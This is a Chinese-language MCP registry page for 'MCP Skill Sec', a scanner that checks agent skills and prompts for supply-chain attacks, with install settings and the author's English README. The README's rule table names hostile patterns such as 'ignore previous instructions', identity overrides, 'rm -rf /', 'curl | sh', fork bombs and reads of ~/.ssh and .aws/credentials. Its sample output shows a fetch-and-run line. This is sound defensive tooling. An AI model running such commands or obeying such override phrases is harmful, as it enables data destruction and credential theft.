MCP Skill Sec

Name: MCP Skill Sec
Author: sudo-ai-git

作者：sudo-ai-git版本 1.0.0i★ –i在你的电脑上运行

注册名称io.github.sudo-ai-git/mcp-skill-sec

安装

概览

作者提供的说明（英文原文）

Audit agent skills/prompts against 8 supply-chain attack patterns. Deterministic, no-LLM scanner.

PopNx MCP 的三大支柱

这三项永远不会合并成一个分数：意见、测量和人气是不同的东西。

用户评价i暂无评价评价功能将在后续阶段与账户功能一起开放
我们的基础检查i1 项中通过 1 项依据公开信息检查；尚未扫描代码
使用情况i非常新↓ 17/周 · ★ –

它能帮你做什么

我们还没有为它写通俗的介绍。下面是我们从注册中心读取到的事实。

连接方式: 在你的电脑上运行
传输方式: stdio
分类: 搜索与 AI 记忆

安装

选择你使用的 AI 应用，然后复制设置。

安装之前

基础检查：1 项中通过 1 项
在你的电脑上运行，拥有你的用户账户的权限（文件、网络、应用）。
注册中心没有列出需要填写的密钥。

你需要

PyPI已安装 Python 的 uv（用于 uvx 命令）

你用的是哪个应用？

ClaudeClaude CodeCursorVS CodeChatGPT

在上方选择你的应用。我们会记住它，下次按钮会显示“安装到 …”。

打开 Claude Desktop → Settings → Developer → Edit Config，把下面的内容粘贴到 claude_desktop_config.json

{
  "mcpServers": {
    "skill-sec": {
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

在终端中运行这条命令

claude mcp add skill-sec -- uvx mcp-skill-sec

在 Cursor 中打开

或者自己复制设置

粘贴到项目中的 .cursor/mcp.json，或 ~/.cursor/mcp.json

{
  "mcpServers": {
    "skill-sec": {
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

浏览器会先询问是否打开应用，然后应用会显示设置并请你确认。密钥的值会留空，由你自己填写。

在 VS Code 中打开

或者自己复制设置

粘贴到项目中的 .vscode/mcp.json

{
  "servers": {
    "skill-sec": {
      "type": "stdio",
      "command": "uvx",
      "args": [
        "mcp-skill-sec"
      ]
    }
  }
}

浏览器会先询问是否打开应用，然后应用会显示设置并请你确认。密钥的值会留空，由你自己填写。

这个服务器在你的电脑上运行，而 ChatGPT 只能连接互联网上的服务器。请选择其他应用。

你的选择通过 Cookie 保存在这台设备上，无需账户。

这些设置是根据作者在注册中心的条目生成的。如果 README 的写法不同，请以 README 为准。

它能做什么

它在你的电脑上运行；安装后，工具列表会显示在你的 AI 应用中。

基础检查i

我们检查的是任何人都能看到的信息；我们没有阅读代码。不适用的检查项不计入总数。 · 检查于 2026年11月8日

✓ 通过
作者与仓库一致
注册名称已通过 GitHub 账户 sudo-ai-git 验证，该账户拥有此仓库
… 尚未检查
仍在维护
我们还没有从 GitHub 读取这个仓库
… 尚未检查
有许可证
我们还没有从 GitHub 读取这个仓库
– 不适用
端点有响应
它在你的电脑上运行，没有互联网端点
– 不适用
使用 OAuth 登录
在你的电脑上运行，改用本地设置
… 尚未检查
工具描述中没有隐藏指令
它在你的电脑上运行；我们只能读取互联网端点的工具列表

与“搜索与 AI 记忆”中的其他服务器比较i

星标数多于此分类中其他 5689 个服务器的 0%
发布到注册中心的时间比此分类中其他 5689 个服务器的 35% 更新
基础检查结果等于或优于此分类中其他 5689 个服务器的 100%

与注册中心里这个分类中所有活跃的服务器比较。只有当发布者拥有该仓库时，星标数才计入。

常见问题

MCP Skill Sec 安全吗？

它在 1 项适用的基础检查中通过了 1 项。我们没有阅读代码。在添加密钥或令牌之前，请先看看这个服务器要求哪些权限，并使用只具备所需权限的密钥。

它需要哪些密钥或代码？

注册中心没有列出必需的密钥，不过有些服务器会在首次使用时要求你登录。

它在我的电脑上运行还是在云端？

它在你的电脑上运行。你的 AI 应用会在需要时启动它，数据不会经过作者的服务器（除非它自己调用在线服务）。

它还在维护吗？

GitHub 仓库最后更新于–，最新版本（1.0.0）于2个月前进入注册中心。

哪些应用可以使用它？

支持 MCP 的应用，例如 Claude Desktop、Claude Code、Cursor 和 VS Code。你的电脑上还需要有 Python (uv)。

有什么可以替代它？

同一分类中有：Context7, Codebase Memory, Exa

替代选择

同一分类中其他作者的服务器，按星标数排序。

如何看卡片：↓ 每周下载量i★ GitHub 星标i三大支柱：评价 · 检查 · 使用情况i更新 = 最新版本发布到注册中心的时间i

Context7

Up-to-date docs for AI agents

作者：upstash广泛使用↓ 97.3万/周★ 6.4万前天更新

电脑或云端

安装

Codebase Memory

Codebase knowledge graph for AI agents — 162 languages, sub-ms queries, 99% fewer tokens.

作者：DeusData广泛使用↓ 1.8万/周★ 4.8万22天前更新

在你的电脑上运行

安装

Exa

Connect AI agents to Exa for web search, content fetching, and multi-step research.

作者：exa-labs正在增长★ 52132个月前更新

在云端运行✓ exa.ai

安装

作者的 README

打开 README

按原文从作者的仓库复制。PopNx MCP 没有审查或背书其内容。HTML、图片和脚本已被移除。链接会离开本站。

mcp-skill-sec

A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.

Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.

What it scans for (rules R1–R8)

Rule	Pattern
R1	Prompt injection / instruction hijack (`ignore previous instructions`, secrecy directives, identity overrides)
R2	Data exfiltration intent (send/post/email contents to a URL, log theft)
R3	Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings)
R4	Dangerous commands (`rm -rf /`, `curl \	sh`, fork bombs, raw device writes)
R5	Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars)
R6	Untrusted external fetches (fetch-and-run, non-PyPI installs)
R7	Credential access (reading `~/.ssh`, `.aws/credentials`, `.env`)
R8	Privilege escalation (`sudo -s`, setuid, adding to sudo group)

Each finding carries a severity (critical/high/medium/low), a line number, and the matching evidence line. The overall verdict is PASS only when there are no critical/high findings and every medium finding is benign.

Tools

audit_text(text, filename) — audit a string (a skill you were pasted, a system prompt you didn't write).
audit_skill_file(path) — audit a SKILL.md / AGENTS.md / CLAUDE.md on disk, line-numbered evidence.
audit_directory(path, pattern) — audit a whole downloaded skills collection; returns per-file verdicts + a summary.
rule_list() — dump the rule catalog.

Install & run

One command (recommended) — installs from the repo, no PyPI token needed:

uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec

then register with your agent:

mcp-skill-sec # run stdio server mcp-skill-sec --http --port 8137 # or Streamable HTTP for remote use

Or with pipx: pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec

Direct from source (fallback):

pip install mcp

python3 mcp_server.py # run stdio mcp install mcp_server.py --name skill-sec # register with Claude Desktop

Claude Desktop / agent config

"mcpServers": { "skill-sec": { "command": "mcp-skill-sec", "args": [] } } }

Example

skill-sec: /tmp/downloaded-skill/SKILL.md

verdict : FLAG counts : critical 1, high 2, medium 1, low 0 R3 [critical] line 11: api_key = "sk-live-…" R3 [high] line 14: password = "hunter2" R4 [critical] line 22: curl https://x/y.sh | sh action : remove the literal secrets, drop the fetch-and-run, re-audit

Part of a family

This is one of three deterministic, no-LLM agent-trust MCP servers by sudo-ai-git:

mcp-skill-sec — pre-install skill/security audit (this repo)
mcp-verify-claim — evidence-gated, honestly-tiered claim reporting
mcp-benchmark-hygiene — pytest config-leakage / eval-honesty detection

Sibling product: mcp-token-saver — token-cost proxy + analyzer for agent conversations (dedupes redundant tokens before they're billed; live-proven 74% cut). Discussion

Also in the family (a free CLI, not an MCP server): harness-audit — deterministic agent-eval / benchmark-grading hygiene audit that catches the same silent config-leakage mis-scoring class. Free lead-magnet; the same verification discipline, zero dependencies, auditable line-by-line.

License & provenance

MIT. Written by sudo-ai-git. This is a standalone security/verification tool; it encodes no proprietary method. It is the MCP expression of the skill-sec agent skill (same rules, callable as a server instead of a skill).

Official MCP Registry metadata

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

Hire a custom integration

Need this connected to *your* internal system (auth, logging, security-scan pass, hosted)? Open a custom-build request. MIT reference assets are free to use either way.